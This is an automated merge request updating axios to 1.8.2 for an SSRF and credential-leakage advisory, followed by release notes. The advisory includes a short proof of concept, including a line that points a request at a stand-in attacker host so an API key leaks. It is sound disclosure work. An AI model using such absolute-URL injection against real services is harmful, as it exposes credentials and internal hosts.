Update dependency axios to v1.8.2 [SECURITY]
This MR contains the following updates:
Package | Change | Age | Confidence |
---|---|---|---|
axios (source) | 1.7.7 -> 1.8.2 |
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
CVE-2025-27152 / GHSA-jr5f-v2jv-69x6
More information
Details
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
- When
baseURL
is set, passing an absolute URL such ashttp://attacker.test/
toget()
should not ignorebaseURL
. - Before sending the HTTP request (after combining the
baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL
.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL
and does not validate path parameters is affected by this issue.
Severity
- CVSS Score: Unknown
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:N/MR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
References
- https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
- https://nvd.nist.gov/vuln/detail/CVE-2025-27152
- https://github.com/axios/axios/issues/6463
- https://github.com/axios/axios/pull/6829
- https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
- https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
- https://github.com/axios/axios
- https://github.com/axios/axios/releases/tag/v1.8.2
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Release Notes
axios/axios (axios)
v1.8.2
Bug Fixes
Contributors to this release
v1.8.1
Bug Fixes
-
utils: move
generateString
to platform utils to avoid importing crypto module into client builds; (#6789) (36a5a62)
Contributors to this release
v1.8.0
Bug Fixes
- examples: application crashed when navigating examples in browser (#5938) (1260ded)
- missing word in SUPPORT_QUESTION.yml (#6757) (1f890b1)
- utils: replace getRandomValues with crypto module (#6788) (23a25af)
Features
Reverts
- Revert "chore: expose fromDataToStream to be consumable (#6731)" (#6732) (1317261), closes #6731 #6732
BREAKING CHANGES
-
code relying on the above will now combine the URLs instead of prefer request URL
-
feat: add config option for allowing absolute URLs
-
fix: add default value for allowAbsoluteUrls in buildFullPath
-
fix: typo in flow control when setting allowAbsoluteUrls
Contributors to this release
-
Michael Toscano
-
Willian Agostini
-
Naron
-
shravan || श्रvan
-
Justin Dhillon
-
yionr
-
Shin'ya Ueoka
-
Dan Dascalescu
-
Nitin Ramnani
-
Shay Molcho
-
Jay
- fancy45daddy
-
Habip Akyol
-
Bailey Lissington
-
Bernardo da Eira Duarte
-
Shivam Batham
-
Lipin Kariappa
1.7.9 (2024-12-04)
Reverts
Contributors to this release
1.7.8 (2024-11-25)
Bug Fixes
- allow passing a callback as paramsSerializer to buildURL (#6680) (eac4619)
- core: fixed config merging bug (#6668) (5d99fe4)
- fixed width form to not shrink after 'Send Request' button is clicked (#6644) (7ccd5fd)
- http: add support for File objects as payload in http adapter (#6588) (#6605) (6841d8d)
- http: fixed proxy-from-env module import (#5222) (12b3295)
-
http: use
globalThis.TextEncoder
when available (#6634) (df956d1) - ios11 breaks when build (#6608) (7638952)
- types: add missing types for mergeConfig function (#6590) (00de614)
- types: export CJS types from ESM (#6218) (c71811b)
- updated stream aborted error message to be more clear (#6615) (cc3217a)
- use URL API instead of DOM to fix a potential vulnerability warning; (#6714) (0a8d6e1)
Contributors to this release
-
Remco Haszing
-
Jay
-
Aayush Yadav
-
Dmitriy Mozgovoy
-
Ell Bradshaw
-
Amit Saini
-
Tommaso Paulon
-
Akki
-
Sampo Silvennoinen
-
Kasper Isager Dalsgarð
-
Christian Clauss
-
Pavan Welihinda
-
Taylor Flatt
-
Kenzo Wada
-
Ngole Lawson
-
Haven
-
Shrivali Dutt
-
Henco Appel
1.7.7 (2024-08-31)
Bug Fixes
- fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#6584) (d198085)
- http: fixed support for IPv6 literal strings in url (#5731) (364993f)
Contributors to this release
1.7.6 (2024-08-30)
Bug Fixes
- fetch: fix content length calculation for FormData payload; (#6524) (085f568)
- fetch: optimize signals composing logic; (#6582) (df9889b)
Contributors to this release
1.7.5 (2024-08-23)
Bug Fixes
- adapter: fix undefined reference to hasBrowserEnv (#6572) (7004707)
- core: add the missed implementation of AxiosError#status property; (#6573) (6700a8a)
-
core: fix
ReferenceError: navigator is not defined
for custom environments; (#6567) (fed1a4b) - fetch: fix credentials handling in Cloudflare workers (#6533) (550d885)
Contributors to this release
1.7.4 (2024-08-13)
Bug Fixes
- sec: CVE-2024-39338 (#6539) (#6543) (6b6b605)
- sec: disregard protocol-relative URL to remediate SSRF (#6539) (07a661a)
Contributors to this release
1.7.3 (2024-08-01)
Bug Fixes
- adapter: fix progress event emitting; (#6518) (e3c76fc)
- fetch: fix withCredentials request config (#6505) (85d4d0e)
- xhr: return original config on errors from XHR adapter (#6515) (8966ee7)
Contributors to this release
1.7.2 (2024-05-21)
Bug Fixes
Contributors to this release
1.7.1 (2024-05-20)
Bug Fixes
- fetch: fixed ReferenceError issue when TextEncoder is not available in the environment; (#6410) (733f15f)
Contributors to this release
v1.7.9
Reverts
Contributors to this release
v1.7.8
Bug Fixes
- allow passing a callback as paramsSerializer to buildURL (#6680) (eac4619)
- core: fixed config merging bug (#6668) (5d99fe4)
- fixed width form to not shrink after 'Send Request' button is clicked (#6644) (7ccd5fd)
- http: add support for File objects as payload in http adapter (#6588) (#6605) (6841d8d)
- http: fixed proxy-from-env module import (#5222) (12b3295)
-
http: use
globalThis.TextEncoder
when available (#6634) (df956d1) - ios11 breaks when build (#6608) (7638952)
- types: add missing types for mergeConfig function (#6590) (00de614)
- types: export CJS types from ESM (#6218) (c71811b)
- updated stream aborted error message to be more clear (#6615) (cc3217a)
- use URL API instead of DOM to fix a potential vulnerability warning; (#6714) (0a8d6e1)
Contributors to this release
Configuration
-
If you want to rebase/retry this MR, check this box
This MR has been generated by Renovate Bot.